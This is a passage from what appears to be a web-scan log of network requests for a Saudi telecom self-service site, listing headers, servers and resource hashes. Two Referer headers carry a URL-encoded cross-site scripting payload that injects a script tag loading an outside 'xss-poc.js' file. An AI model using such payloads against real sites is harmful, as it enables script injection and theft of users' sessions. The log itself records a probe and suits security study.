Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Mon, 21 Aug 2023 13:41:27 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"16c-6036f08fd2a02-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
application/javascript
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
223
X-Xss-Protection
1; mode=block
nm-font.ttf
self.sa.zain.com/new/wp-content/themes/savoy/assets/css/font-icons/theme-icons/fonts/ 		32 KB
33 KB 		Font
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/themes/savoy/assets/css/font-icons/theme-icons/fonts/nm-font.ttf?nrj28d
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/wp-content/themes/savoy/assets/css/font-icons/theme-icons/theme-icons.min.css?ver=2.5.9
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
b9da4bc50fd4b9e583ca597f592bd01492de0138910626de349f36c0dda0fcde
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

Referer
https://self.sa.zain.com/new/wp-content/themes/savoy/assets/css/font-icons/theme-icons/theme-icons.min.css?ver=2.5.9
Origin
https://self.sa.zain.com
accept-language
de-DE,de;q=0.9
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Content-Security-Policy
upgrade-insecure-requests
Last-Modified
Wed, 13 Oct 2021 08:58:22 GMT
ETag
"8078-5ce382a087fc2"
X-Frame-Options
sameorigin
Content-Type
application/font-sfnt
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
32888
X-Xss-Protection
1; mode=block
SLXVc1nY6HkvangtZmpQdkhzfH5lkSscRiyS.woff2
fonts.gstatic.com/s/cairo/v28/ 		33 KB
33 KB 		Font
General
Check archive.org
Download Go to
Full URL
https://fonts.gstatic.com/s/cairo/v28/SLXVc1nY6HkvangtZmpQdkhzfH5lkSscRiyS.woff2
Requested by
Host: fonts.googleapis.com
URL: https://fonts.googleapis.com/css2?family=Cairo:wght@300;400;600;700&display=swap
Protocol
H2
Security
TLS 1.3, , AES_128_GCM
Server
2a00:1450:4001:80e::2003 Frankfurt am Main, Germany, ASN15169 (GOOGLE, US),
Reverse DNS
Software
sffe /
Resource Hash
1355605c748ba06b91514ca27feaa9c0c97ac33eb32fed979fc9fabb623d9023
Security Headers
Name Value
X-Content-Type-Options nosniff
X-Xss-Protection 0

Request headers

Referer
https://fonts.googleapis.com/
Origin
https://self.sa.zain.com
accept-language
de-DE,de;q=0.9
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

date
Wed, 21 Feb 2024 07:41:51 GMT
x-content-type-options
nosniff
age
476445
content-security-policy-report-only
require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes
cross-origin-resource-policy
cross-origin
alt-svc
h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
content-length
33588
x-xss-protection
0
last-modified
Tue, 02 May 2023 14:52:02 GMT
server
sffe
cross-origin-opener-policy
same-origin; report-to="apps-themes"
report-to
{"group":"apps-themes","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/apps-themes"}]}
content-type
font/woff2
access-control-allow-origin
*
cache-control
public, max-age=31536000
accept-ranges
bytes
timing-allow-origin
*
expires
Thu, 20 Feb 2025 07:41:51 GMT
SLXVc1nY6HkvangtZmpQdkhzfH5lkSscQyyS4J0.woff2
fonts.gstatic.com/s/cairo/v28/ 		30 KB
30 KB 		Font
General
Check archive.org
Download Go to
Full URL
https://fonts.gstatic.com/s/cairo/v28/SLXVc1nY6HkvangtZmpQdkhzfH5lkSscQyyS4J0.woff2
Requested by
Host: fonts.googleapis.com
URL: https://fonts.googleapis.com/css2?family=Cairo:wght@300;400;600;700&display=swap
Protocol
H2
Security
TLS 1.3, , AES_128_GCM
Server
2a00:1450:4001:80e::2003 Frankfurt am Main, Germany, ASN15169 (GOOGLE, US),
Reverse DNS
Software
sffe /
Resource Hash
60d51fea6669a866e3dce8a8583978127ef1808feb14c073b2f5c2a05a45908c
Security Headers
Name Value
X-Content-Type-Options nosniff
X-Xss-Protection 0

Request headers

Referer
https://fonts.googleapis.com/
Origin
https://self.sa.zain.com
accept-language
de-DE,de;q=0.9
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

date
Tue, 20 Feb 2024 03:07:21 GMT
x-content-type-options
nosniff
age
579315
content-security-policy-report-only
require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes
cross-origin-resource-policy
cross-origin
alt-svc
h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
content-length
30596
x-xss-protection
0
last-modified
Tue, 02 May 2023 14:51:35 GMT
server
sffe
cross-origin-opener-policy
same-origin; report-to="apps-themes"
report-to
{"group":"apps-themes","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/apps-themes"}]}
content-type
font/woff2
access-control-allow-origin
*
cache-control
public, max-age=31536000
accept-ranges
bytes
timing-allow-origin
*
expires
Wed, 19 Feb 2025 03:07:21 GMT
recaptcha__en.js
www.gstatic.com/recaptcha/releases/1kRDYC3bfA-o6-tsWzIBvp7k/ 		492 KB
196 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://www.gstatic.com/recaptcha/releases/1kRDYC3bfA-o6-tsWzIBvp7k/recaptcha__en.js
Requested by
Host: www.google.com
URL: https://www.google.com/recaptcha/api.js?hl=en
Protocol
H2
Security
TLS 1.3, , AES_128_GCM
Server
2a00:1450:4001:810::2003 Frankfurt am Main, Germany, ASN15169 (GOOGLE, US),
Reverse DNS
Software
sffe /
Resource Hash
e51e616d124133b0fb24968469097a4d311b972f78455143d940703ea0639ba6
Security Headers
Name Value
X-Content-Type-Options nosniff
X-Xss-Protection 0

Request headers

Referer
https://self.sa.zain.com/
Origin
https://self.sa.zain.com
accept-language
de-DE,de;q=0.9
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

date
Mon, 26 Feb 2024 19:37:02 GMT
content-encoding
gzip
x-content-type-options
nosniff
age
1534
content-security-policy-report-only
require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/recaptcha
cross-origin-resource-policy
cross-origin
alt-svc
h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
content-length
200064
x-xss-protection
0
last-modified
Mon, 19 Feb 2024 05:01:55 GMT
server
sffe
cross-origin-opener-policy
same-origin-allow-popups; report-to="recaptcha"
vary
Accept-Encoding
report-to
{"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]}
content-type
text/javascript
access-control-allow-origin
*
cache-control
public, max-age=31536000
accept-ranges
bytes
expires
Tue, 25 Feb 2025 19:37:02 GMT
fontawesome-webfont.woff2
cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/fonts/ 		75 KB
76 KB 		Font
General
Check archive.org
Download Go to
Full URL
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/fonts/fontawesome-webfont.woff2?v=4.7.0
Requested by
Host: cdnjs.cloudflare.com
URL: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css
Protocol
H3
Security
QUIC, , AES_128_GCM
Server
2606:4700::6811:190e , United States, ASN13335 (CLOUDFLARENET, US),
Reverse DNS
Software
cloudflare /
Resource Hash
2adefcbc041e7d18fcf2d417879dc5a09997aa64d675b7a3c4b6ce33da13f3fe
Security Headers
Name Value
Strict-Transport-Security max-age=15780000
X-Content-Type-Options nosniff

Request headers

Referer
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css
Origin
https://self.sa.zain.com
accept-language
de-DE,de;q=0.9
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

date
Mon, 26 Feb 2024 20:02:36 GMT
strict-transport-security
max-age=15780000
x-content-type-options
nosniff
cf-cache-status
HIT
nel
{"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}
age
2140116
cross-origin-resource-policy
cross-origin
alt-svc
h3=":443"; ma=86400
content-length
77160
last-modified
Mon, 04 May 2020 16:10:07 GMT
server
cloudflare
cf-cdnjs-via
cfworker/kv
etag
"5eb03e5f-12d68"
vary
Accept-Encoding
report-to
{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=X%2BkM72QOUnoigQFJwCeIRXrSHMfu8DukHINM2SE2hV1%2FLW%2FhHpxMzdsBGY%2F3v7bvh5HJ7Faoi%2FahvE4OIRH%2Bfbav3vytgRNB4EjsrtfEatae98K2x%2BKtYrqpKVHk7fN3VA5IesRyJ0C7OgxrcEg48WnQ"}],"group":"cf-nel","max_age":604800}
content-type
application/octet-stream; charset=utf-8
access-control-allow-origin
*
cache-control
public, max-age=30672000
accept-ranges
bytes
timing-allow-origin
*
cf-ray
85bac9649fcb65de-FRA
expires
Sat, 15 Feb 2025 20:02:36 GMT
/
self.sa.zain.com/new/ 		1 KB
2 KB 		XHR
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/?wc-ajax=get_refreshed_fragments
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/sim_page/assets/js/jquery.min.js
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
d366521c33cba9740c6baccb5139f5dd3d644927b6fb81082c216c874057a71d
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Content-Type-Options nosniff
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

Accept
*/*
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
X-Requested-With
XMLHttpRequest
accept-language
de-DE,de;q=0.9
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36
Content-Type
application/x-www-form-urlencoded; charset=UTF-8

Response headers

Date
Mon, 26 Feb 2024 20:02:37 GMT
Content-Encoding
gzip
X-Content-Type-Options
nosniff
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Content-Security-Policy
upgrade-insecure-requests
Connection
keep-alive
Content-Length
575
X-Xss-Protection
1; mode=block
Pragma
no-cache
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
application/json; charset=UTF-8
Access-Control-Allow-Origin
https://self.sa.zain.com
Cache-Control
no-cache, must-revalidate, max-age=0
Access-Control-Allow-Credentials
true
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
X-Robots-Tag
noindex
Expires
Wed, 11 Jan 1984 05:00:00 GMT
anchor
www.google.com/recaptcha/api2/ Frame 18DE 		48 KB
30 KB 		Document
General
Check archive.org
Download Go to
Full URL
https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LeuolklAAAAAKFgsK5SlD0uubCOIGOoVc98K5Pl&co=aHR0cHM6Ly9zZWxmLnNhLnphaW4uY29tOjQ0Mw..&hl=en&v=1kRDYC3bfA-o6-tsWzIBvp7k&size=invisible&cb=pkc07fnx47rr
Requested by
Host: www.gstatic.com
URL: https://www.gstatic.com/recaptcha/releases/1kRDYC3bfA-o6-tsWzIBvp7k/recaptcha__en.js
Protocol
H2
Security
TLS 1.3, , AES_128_GCM
Server
2a00:1450:4001:82f::2004 Frankfurt am Main, Germany, ASN15169 (GOOGLE, US),
Reverse DNS
Software
GSE /
Resource Hash
68ac5bb606ed86c8662430aa6689337189ff585fcb70f9dd8ca700b91dcca8b1
Security Headers
Name Value
Content-Security-Policy script-src 'report-sample' 'nonce-_fEnI2bksLIvVRVtCTt7rQ' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1
X-Content-Type-Options nosniff
X-Xss-Protection 1; mode=block

Request headers

Referer
https://self.sa.zain.com/
Upgrade-Insecure-Requests
1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36
accept-language
de-DE,de;q=0.9

Response headers

alt-svc
h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
cache-control
no-cache, no-store, max-age=0, must-revalidate
content-encoding
gzip
content-security-policy
script-src 'report-sample' 'nonce-_fEnI2bksLIvVRVtCTt7rQ' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1
content-type
text/html; charset=utf-8
cross-origin-embedder-policy
require-corp
cross-origin-resource-policy
cross-origin
date
Mon, 26 Feb 2024 20:02:37 GMT
expires
Mon, 01 Jan 1990 00:00:00 GMT
pragma
no-cache
report-to
{"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]}
server
GSE
x-content-type-options
nosniff
x-xss-protection
1; mode=block
styles__ltr.css
www.gstatic.com/recaptcha/releases/1kRDYC3bfA-o6-tsWzIBvp7k/ Frame 18DE 		55 KB
24 KB 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://www.gstatic.com/recaptcha/releases/1kRDYC3bfA-o6-tsWzIBvp7k/styles__ltr.css
Requested by
Host: www.google.com
URL: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LeuolklAAAAAKFgsK5SlD0uubCOIGOoVc98K5Pl&co=aHR0cHM6Ly9zZWxmLnNhLnphaW4uY29tOjQ0Mw..&hl=en&v=1kRDYC3bfA-o6-tsWzIBvp7k&size=invisible&cb=pkc07fnx47rr
Protocol
H3
Security
QUIC, , AES_128_GCM
Server
2a00:1450:4001:810::2003 Frankfurt am Main, Germany, ASN15169 (GOOGLE, US),
Reverse DNS
Software
sffe /
Resource Hash
7859a62e04b0acb06516eb12454de6673883ecfaeaed6c254659bca7cd59c050
Security Headers
Name Value
X-Content-Type-Options nosniff
X-Xss-Protection 0

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://www.google.com/
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

date
Mon, 26 Feb 2024 19:37:02 GMT
content-encoding
gzip
x-content-type-options
nosniff
age
1535
content-security-policy-report-only
require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/recaptcha
cross-origin-resource-policy
cross-origin
alt-svc
h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
content-length
24606
x-xss-protection
0
last-modified
Mon, 19 Feb 2024 05:01:55 GMT
server
sffe
cross-origin-opener-policy
same-origin-allow-popups; report-to="recaptcha"
vary
Accept-Encoding
report-to
{"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]}
content-type
text/css
cache-control
public, max-age=31536000
accept-ranges
bytes
expires
Tue, 25 Feb 2025 19:37:02 GMT
recaptcha__en.js
www.gstatic.com/recaptcha/releases/1kRDYC3bfA-o6-tsWzIBvp7k/ Frame 18DE 		492 KB
195 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://www.gstatic.com/recaptcha/releases/1kRDYC3bfA-o6-tsWzIBvp7k/recaptcha__en.js
Requested by
Host: www.google.com
URL: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LeuolklAAAAAKFgsK5SlD0uubCOIGOoVc98K5Pl&co=aHR0cHM6Ly9zZWxmLnNhLnphaW4uY29tOjQ0Mw..&hl=en&v=1kRDYC3bfA-o6-tsWzIBvp7k&size=invisible&cb=pkc07fnx47rr
Protocol
H3
Security
QUIC, , AES_128_GCM
Server
2a00:1450:4001:810::2003 Frankfurt am Main, Germany, ASN15169 (GOOGLE, US),
Reverse DNS
Software
sffe /
Resource Hash
e51e616d124133b0fb24968469097a4d311b972f78455143d940703ea0639ba6
Security Headers
Name Value
X-Content-Type-Options nosniff
X-Xss-Protection 0

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://www.google.com/
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

date
Mon, 26 Feb 2024 19:37:02 GMT
content-encoding
gzip
x-content-type-options
nosniff
age
1535
content-security-policy-report-only
require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/recaptcha
cross-origin-resource-policy
cross-origin
alt-svc
h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
content-length
200064
x-xss-protection
0
last-modified
Mon, 19 Feb 2024 05:01:55 GMT
server
sffe
cross-origin-opener-policy
same-origin-allow-popups; report-to="recaptcha"
vary
Accept-Encoding
report-to
{"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]}
content-type
text/javascript
access-control-allow-origin
*
cache-control
public, max-age=31536000
accept-ranges
bytes
expires
Tue, 25 Feb 2025 19:37:02 GMT
oN6JOQxO2CZdhDuvURgc1WDqFpXrbMZ6mY5cTBya2tA.js
www.google.com/js/bg/ Frame 18DE 		17 KB
7 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://www.google.com/js/bg/oN6JOQxO2CZdhDuvURgc1WDqFpXrbMZ6mY5cTBya2tA.js
Requested by
Host: www.gstatic.com
URL: https://www.gstatic.com/recaptcha/releases/1kRDYC3bfA-o6-tsWzIBvp7k/recaptcha__en.js
Protocol
H3
Security
QUIC, , AES_128_GCM
Server
2a00:1450:4001:82f::2004 Frankfurt am Main, Germany, ASN15169 (GOOGLE, US),
Reverse DNS
Software
sffe /
Resource Hash
a0de89390c4ed8265d843baf51181cd560ea1695eb6cc67a998e5c4c1c9adad0
Security Headers
Name Value
X-Content-Type-Options nosniff
X-Xss-Protection 0

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LeuolklAAAAAKFgsK5SlD0uubCOIGOoVc98K5Pl&co=aHR0cHM6Ly9zZWxmLnNhLnphaW4uY29tOjQ0Mw..&hl=en&v=1kRDYC3bfA-o6-tsWzIBvp7k&size=invisible&cb=pkc07fnx47rr
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

date
Wed, 21 Feb 2024 06:19:37 GMT
content-encoding
br
x-content-type-options
nosniff
age
481380
content-security-policy-report-only
require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/botguard-scs
cross-origin-resource-policy
cross-origin
alt-svc
h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
content-length
6931
x-xss-protection
0
last-modified
Mon, 19 Feb 2024 17:30:00 GMT
server
sffe
cross-origin-opener-policy
same-origin; report-to="botguard-scs"
vary
Accept-Encoding
report-to
{"group":"botguard-scs","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/botguard-scs"}]}
content-type
text/javascript
cache-control
public, max-age=31536000
accept-ranges
bytes
expires
Thu, 20 Feb 2025 06:19:37 GMT
webworker.js
www.google.com/recaptcha/api2/ Frame 18DE 		102 B
135 B 		Other
General
Check archive.org
Download Go to
Full URL
https://www.google.com/recaptcha/api2/webworker.js?hl=en&v=1kRDYC3bfA-o6-tsWzIBvp7k
Requested by
Host: www.google.com
URL: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LeuolklAAAAAKFgsK5SlD0uubCOIGOoVc98K5Pl&co=aHR0cHM6Ly9zZWxmLnNhLnphaW4uY29tOjQ0Mw..&hl=en&v=1kRDYC3bfA-o6-tsWzIBvp7k&size=invisible&cb=pkc07fnx47rr
Protocol
H3
Security
QUIC, , AES_128_GCM
Server
2a00:1450:4001:82f::2004 Frankfurt am Main, Germany, ASN15169 (GOOGLE, US),
Reverse DNS
Software
GSE /
Resource Hash
80663b7d03f283b27d8d833ca725a43d5cd3d5b5a7dd6487970dca9469f9c139
Security Headers
Name Value
Content-Security-Policy frame-ancestors 'self'
X-Content-Type-Options nosniff
X-Frame-Options SAMEORIGIN
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LeuolklAAAAAKFgsK5SlD0uubCOIGOoVc98K5Pl&co=aHR0cHM6Ly9zZWxmLnNhLnphaW4uY29tOjQ0Mw..&hl=en&v=1kRDYC3bfA-o6-tsWzIBvp7k&size=invisible&cb=pkc07fnx47rr
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

date
Mon, 26 Feb 2024 20:02:37 GMT
content-encoding
gzip
x-content-type-options
nosniff
content-security-policy
frame-ancestors 'self'
server
GSE
cross-origin-embedder-policy
require-corp
x-frame-options
SAMEORIGIN
report-to
{"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]}
content-type
text/javascript; charset=utf-8
cache-control
private, max-age=300
alt-svc
h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
x-xss-protection
1; mode=block
expires
Mon, 26 Feb 2024 20:02:37 GMT
bframe
www.google.com/recaptcha/api2/ Frame 7487 		7 KB
1 KB 		Document
General
Check archive.org
Download Go to
Full URL
https://www.google.com/recaptcha/api2/bframe?hl=en&v=1kRDYC3bfA-o6-tsWzIBvp7k&k=6LeuolklAAAAAKFgsK5SlD0uubCOIGOoVc98K5Pl
Requested by
Host: www.gstatic.com
URL: https://www.gstatic.com/recaptcha/releases/1kRDYC3bfA-o6-tsWzIBvp7k/recaptcha__en.js
Protocol
H3
Security
QUIC, , AES_128_GCM
Server
2a00:1450:4001:82f::2004 Frankfurt am Main, Germany, ASN15169 (GOOGLE, US),
Reverse DNS
Software
GSE /
Resource Hash
e9cc68c1978fd61155e68bfeb6d0932dc8a04362139c724359d4574a3ae5bbdc
Security Headers
Name Value
Content-Security-Policy script-src 'report-sample' 'nonce-d_JDis-cu67ZjztzWK_tnw' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1
X-Content-Type-Options nosniff
X-Xss-Protection 1; mode=block

Request headers

Referer
https://self.sa.zain.com/
Upgrade-Insecure-Requests
1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36
accept-language
de-DE,de;q=0.9

Response headers

alt-svc
h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
cache-control
no-cache, no-store, max-age=0, must-revalidate
content-encoding
gzip
content-security-policy
script-src 'report-sample' 'nonce-d_JDis-cu67ZjztzWK_tnw' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1
content-type
text/html; charset=utf-8
cross-origin-embedder-policy
require-corp
cross-origin-resource-policy
cross-origin
date
Mon, 26 Feb 2024 20:02:37 GMT
expires
Mon, 01 Jan 1990 00:00:00 GMT
pragma
no-cache
report-to
{"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]}
server
GSE
x-content-type-options
nosniff
x-xss-protection
1; mode=block
styles__ltr.css
www.gstatic.com/recaptcha/releases/1kRDYC3bfA-o6-tsWzIBvp7k/ Frame 7487 		55 KB
24 KB 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://www.gstatic.com/recaptcha/releases/1kRDYC3bfA-o6-tsWzIBvp7k/styles__ltr.css
Requested by
Host: www.google.com
URL: https://www.google.com/recaptcha/api2/bframe?hl=en&v=1kRDYC3bfA-o6-tsWzIBvp7k&k=6LeuolklAAAAAKFgsK5SlD0uubCOIGOoVc98K5Pl
Protocol
H3
Security
QUIC, , AES_128_GCM
Server
2a00:1450:4001:810::2003 Frankfurt am Main, Germany, ASN15169 (GOOGLE, US),
Reverse DNS
Software
sffe /
Resource Hash
7859a62e04b0acb06516eb12454de6673883ecfaeaed6c254659bca7cd59c050
Security Headers
Name Value
X-Content-Type-Options nosniff
X-Xss-Protection 0

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://www.google.com/
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

date
Mon, 26 Feb 2024 19:37:02 GMT
content-encoding
gzip
x-content-type-options
nosniff
age
1535
content-security-policy-report-only
require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/recaptcha
cross-origin-resource-policy
cross-origin
alt-svc
h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
content-length
24606
x-xss-protection
0
last-modified
Mon, 19 Feb 2024 05:01:55 GMT
server
sffe
cross-origin-opener-policy
same-origin-allow-popups; report-to="recaptcha"
vary
Accept-Encoding
report-to
{"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]}
content-type
text/css
cache-control
public, max-age=31536000
accept-ranges
bytes
expires
Tue, 25 Feb 2025 19:37:02 GMT
recaptcha__en.js
www.gstatic.com/recaptcha/releases/1kRDYC3bfA-o6-tsWzIBvp7k/ Frame 7487 		492 KB
195 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://www.gstatic.com/recaptcha/releases/1kRDYC3bfA-o6-tsWzIBvp7k/recaptcha__en.js
Requested by
Host: www.google.com
URL: https://www.google.com/recaptcha/api2/bframe?hl=en&v=1kRDYC3bfA-o6-tsWzIBvp7k&k=6LeuolklAAAAAKFgsK5SlD0uubCOIGOoVc98K5Pl
Protocol
H3
Security
QUIC, , AES_128_GCM
Server
2a00:1450:4001:810::2003 Frankfurt am Main, Germany, ASN15169 (GOOGLE, US),
Reverse DNS
Software
sffe /
Resource Hash
e51e616d124133b0fb24968469097a4d311b972f78455143d940703ea0639ba6
Security Headers
Name Value
X-Content-Type-Options nosniff
X-Xss-Protection 0

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://www.google.com/
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

date
Mon, 26 Feb 2024 19:37:02 GMT
content-encoding
gzip
x-content-type-options
nosniff
age
1535
content-security-policy-report-only
require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/recaptcha
cross-origin-resource-policy
cross-origin
alt-svc
h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
content-length
200064
x-xss-protection
0
last-modified
Mon, 19 Feb 2024 05:01:55 GMT
server
sffe
cross-origin-opener-policy
same-origin-allow-popups; report-to="recaptcha"
vary
Accept-Encoding
report-to
{"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]}
content-type
text/javascript
access-control-allow-origin
*
cache-control
public, max-age=31536000
accept-ranges
bytes
expires
Tue, 25 Feb 2025 19:37:02 GMT
reload
www.google.com/recaptcha/api2/ Frame 7487 		21 KB
15 KB 		XHR
General
Check archive.org
Download Go to
Full URL
https://www.google.com/recaptcha/api2/reload?k=6LeuolklAAAAAKFgsK5SlD0uubCOIGOoVc98K5Pl
Requested by
Host: www.gstatic.com
URL: https://www.gstatic.com/recaptcha/releases/1kRDYC3bfA-o6-tsWzIBvp7k/recaptcha__en.js
Protocol
H3
Security
QUIC, , AES_128_GCM
Server
